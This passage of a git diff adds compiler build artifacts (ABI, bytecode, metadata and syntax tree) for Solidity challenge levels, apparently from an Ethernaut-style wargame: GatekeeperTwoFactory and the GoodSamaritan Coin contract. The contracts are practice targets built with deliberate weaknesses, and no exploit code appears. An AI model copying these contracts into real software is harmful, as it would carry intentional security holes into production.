,{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperTwoFactory.sol\":\"GatekeeperTwoFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/GatekeeperTwo.sol\":{\"keccak256\":\"0x8ead9cd2035c04cc27a3e58f4d0c2b67279668354f87ebfccd0bec8580b9b2f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://32a70f3e50165369d1febe0fb8f748cb83616fec2cecf76062dcf6b758331a92\",\"dweb:/ipfs/Qmd6cEi9rVPF2JRFAc97xmAoTe4Fv5HecERQuhjaYUpHsd\"]},\"src/levels/GatekeeperTwoFactory.sol\":{\"keccak256\":\"0xc2bb7dcf22a19b6c937a167b47f43197507c60021e4d0b8f64a5fd6ac33f78d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://cce7e423b14ab033972b7f782225df3f65d0582af6ceb8888f0dba3c362dc6aa\",\"dweb:/ipfs/QmPXNhJYFwuJgei6cX2ovK6HoAYX1syicpCEf1tXyfk45N\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperTwoFactory.sol":"GatekeeperTwoFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/GatekeeperTwo.sol":{"keccak256":"0x8ead9cd2035c04cc27a3e58f4d0c2b67279668354f87ebfccd0bec8580b9b2f3","urls":["bzz-raw://32a70f3e50165369d1febe0fb8f748cb83616fec2cecf76062dcf6b758331a92","dweb:/ipfs/Qmd6cEi9rVPF2JRFAc97xmAoTe4Fv5HecERQuhjaYUpHsd"],"license":"MIT"},"src/levels/GatekeeperTwoFactory.sol":{"keccak256":"0xc2bb7dcf22a19b6c937a167b47f43197507c60021e4d0b8f64a5fd6ac33f78d9","urls":["bzz-raw://cce7e423b14ab033972b7f782225df3f65d0582af6ceb8888f0dba3c362dc6aa","dweb:/ipfs/QmPXNhJYFwuJgei6cX2ovK6HoAYX1syicpCEf1tXyfk45N"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperTwoFactory.sol","id":53067,"exportedSymbols":{"Context":[48281],"GatekeeperTwo":[53011],"GatekeeperTwoFactory":[53066],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:550:86","nodes":[{"id":53013,"nodeType":"PragmaDirective","src":"33:23:86","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53014,"nodeType":"ImportDirective","src":"58:26:86","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":53067,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":53015,"nodeType":"ImportDirective","src":"85:29:86","nodes":[],"absolutePath":"src/levels/GatekeeperTwo.sol","file":"./GatekeeperTwo.sol","nameLocation":"-1:-1:-1","scope":53067,"sourceUnit":53012,"symbolAliases":[],"unitAlias":""},{"id":53066,"nodeType":"ContractDefinition","src":"116:466:86","nodes":[{"id":53041,"nodeType":"FunctionDefinition","src":"161:195:86","nodes":[],"body":{"id":53040,"nodeType":"Block","src":"244:112:86","nodes":[],"statements":[{"expression":{"id":53025,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53019,"src":"254:7:86","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53026,"nodeType":"ExpressionStatement","src":"254:7:86"},{"assignments":[53029],"declarations":[{"constant":false,"id":53029,"mutability":"mutable","name":"instance","nameLocation":"285:8:86","nodeType":"VariableDeclaration","scope":53040,"src":"271:22:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"},"typeName":{"id":53028,"nodeType":"UserDefinedTypeName","pathNode":{"id":53027,"name":"GatekeeperTwo","nameLocations":["271:13:86"],"nodeType":"IdentifierPath","referencedDeclaration":53011,"src":"271:13:86"},"referencedDeclaration":53011,"src":"271:13:86","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"visibility":"internal"}],"id":53034,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":53032,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"296:17:86","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GatekeeperTwo_$53011_$","typeString":"function () returns (contract GatekeeperTwo)"},"typeName":{"id":53031,"nodeType":"UserDefinedTypeName","pathNode":{"id":53030,"name":"GatekeeperTwo","nameLocations":["300:13:86"],"nodeType":"IdentifierPath","referencedDeclaration":53011,"src":"300:13:86"},"referencedDeclaration":53011,"src":"300:13:86","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}}},"id":53033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"296:19:86","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"nodeType":"VariableDeclarationStatement","src":"271:44:86"},{"expression":{"arguments":[{"id":53037,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53029,"src":"340:8:86","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}],"id":53036,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"332:7:86","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53035,"name":"address","nodeType":"ElementaryTypeName","src":"332:7:86","typeDescriptions":{}}},"id":53038,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"332:17:86","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53024,"id":53039,"nodeType":"Return","src":"325:24:86"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"170:14:86","overrides":{"id":53021,"nodeType":"OverrideSpecifier","overrides":[],"src":"217:8:86"},"parameters":{"id":53020,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53019,"mutability":"mutable","name":"_player","nameLocation":"193:7:86","nodeType":"VariableDeclaration","scope":53041,"src":"185:15:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53018,"name":"address","nodeType":"ElementaryTypeName","src":"185:7:86","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"184:17:86"},"returnParameters":{"id":53024,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53023,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53041,"src":"235:7:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53022,"name":"address","nodeType":"ElementaryTypeName","src":"235:7:86","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"234:9:86"},"scope":53066,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53065,"nodeType":"FunctionDefinition","src":"362:218:86","nodes":[],"body":{"id":53064,"nodeType":"Block","src":"468:112:86","nodes":[],"statements":[{"assignments":[53053],"declarations":[{"constant":false,"id":53053,"mutability":"mutable","name":"instance","nameLocation":"492:8:86","nodeType":"VariableDeclaration","scope":53064,"src":"478:22:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"},"typeName":{"id":53052,"nodeType":"UserDefinedTypeName","pathNode":{"id":53051,"name":"GatekeeperTwo","nameLocations":["478:13:86"],"nodeType":"IdentifierPath","referencedDeclaration":53011,"src":"478:13:86"},"referencedDeclaration":53011,"src":"478:13:86","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"visibility":"internal"}],"id":53057,"initialValue":{"arguments":[{"id":53055,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53043,"src":"517:9:86","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53054,"name":"GatekeeperTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53011,"src":"503:13:86","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperTwo_$53011_$","typeString":"type(contract GatekeeperTwo)"}},"id":53056,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"503:24:86","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"nodeType":"VariableDeclarationStatement","src":"478:49:86"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53062,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53058,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53053,"src":"544:8:86","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}},"id":53059,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"553:7:86","memberName":"entrant","nodeType":"MemberAccess","referencedDeclaration":52929,"src":"544:16:86","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":53060,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"544:18:86","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":53061,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53045,"src":"566:7:86","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"544:29:86","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":53050,"id":53063,"nodeType":"Return","src":"537:36:86"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"371:16:86","overrides":{"id":53047,"nodeType":"OverrideSpecifier","overrides":[],"src":"444:8:86"},"parameters":{"id":53046,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53043,"mutability":"mutable","name":"_instance","nameLocation":"404:9:86","nodeType":"VariableDeclaration","scope":53065,"src":"388:25:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53042,"name":"address","nodeType":"ElementaryTypeName","src":"388:15:86","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53045,"mutability":"mutable","name":"_player","nameLocation":"423:7:86","nodeType":"VariableDeclaration","scope":53065,"src":"415:15:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53044,"name":"address","nodeType":"ElementaryTypeName","src":"415:7:86","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"387:44:86"},"returnParameters":{"id":53050,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53049,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53065,"src":"462:4:86","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53048,"name":"bool","nodeType":"ElementaryTypeName","src":"462:4:86","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"461:6:86"},"scope":53066,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":53016,"name":"Level","nameLocations":["149:5:86"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"149:5:86"},"id":53017,"nodeType":"InheritanceSpecifier","src":"149:5:86"}],"canonicalName":"GatekeeperTwoFactory","contractDependencies":[53011],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53066,55508,46700,48281],"name":"GatekeeperTwoFactory","nameLocation":"125:20:86","scope":53067,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":86} \ No newline at end of file diff --git a/contracts/out/GoodSamaritan.sol/Coin.json b/contracts/out/GoodSamaritan.sol/Coin.json new file mode 100644 index 000000000..04ac56c77 --- /dev/null +++ b/contracts/out/GoodSamaritan.sol/Coin.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"wallet_","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"balances","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"dest_","type":"address","internalType":"address"},{"name":"amount_","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"error","name":"InsufficientBalance","inputs":[{"name":"current","type":"uint256","internalType":"uint256"},{"name":"required","type":"uint256","internalType":"uint256"}]}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161035638038061035683398101604081905261002e9161004f565b6001600160a01b03165f908152602081905260409020620f4240905561007c565b5f6020828403121561005f575f80fd5b81516001600160a01b0381168114610075575f80fd5b9392505050565b6102cd806100895f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c803416f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033","sourceMap":"790:841:87:-:0;;;959:131;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1056:17:87;:8;:17;;;;;;;;;;1076:7;1056:27;;790:841;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;:::-;790:841:87;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c803416f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033","sourceMap":"790:841:87:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;842:43;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;552:25:155;;;540:2;525:18;842:43:87;;;;;;;1096:533;;;;;;:::i;:::-;;:::i;:::-;;;1199:10;1165:22;1190:20;;;;;;;;;;;1278:25;;;1274:349;;1328:10;1319:8;:20;;;;;;;;;;:31;;1343:7;;1319:8;:31;;1343:7;;1319:31;:::i;:::-;;;;-1:-1:-1;;1364:15:87;;;:8;:15;;;;;;;;;;:26;;1383:7;;1364:8;:26;;1383:7;;1364:26;:::i;:::-;;;;-1:-1:-1;;1409:16:87;;;1465:19:33;:23;1405:126:87;;1482:34;;;;;;;;552:25:155;;;1482::87;;;;;;525:18:155;;1482:34:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1405:126;1155:474;1096:533;;:::o;1274:349::-;1568:44;;;;;;;;1473:25:155;;;1514:18;;;1507:34;;;1446:18;;1568:44:87;;;;;;;14:196:155;82:20;;142:42;131:54;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:186::-;274:6;327:2;315:9;306:7;302:23;298:32;295:52;;;343:1;340;333:12;295:52;366:29;385:9;366:29;:::i;:::-;356:39;215:186;-1:-1:-1;;;215:186:155:o;588:254::-;656:6;664;717:2;705:9;696:7;692:23;688:32;685:52;;;733:1;730;723:12;685:52;756:29;775:9;756:29;:::i;:::-;746:39;832:2;817:18;;;;804:32;;-1:-1:-1;;;588:254:155:o;847:184::-;899:77;896:1;889:88;996:4;993:1;986:15;1020:4;1017:1;1010:15;1036:128;1103:9;;;1124:11;;;1121:37;;;1138:18;;:::i;:::-;1036:128;;;;:::o;1169:125::-;1234:9;;;1255:10;;;1252:36;;;1268:18;;:::i","linkReferences":{}},"methodIdentifiers":{"balances(address)":"27e235e3","transfer(address,uint256)":"a9059cbb"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"wallet_\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"current\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"required\",\"type\":\"uint256\"}],\"name\":\"InsufficientBalance\",\"type\":\"error\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"dest_\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount_\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GoodSamaritan.sol\":\"Coin\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"wallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"current","type":"uint256"},{"internalType":"uint256","name":"required","type":"uint256"}],"type":"error","name":"InsufficientBalance"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"dest_","type":"address"},{"internalType":"uint256","name":"amount_","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/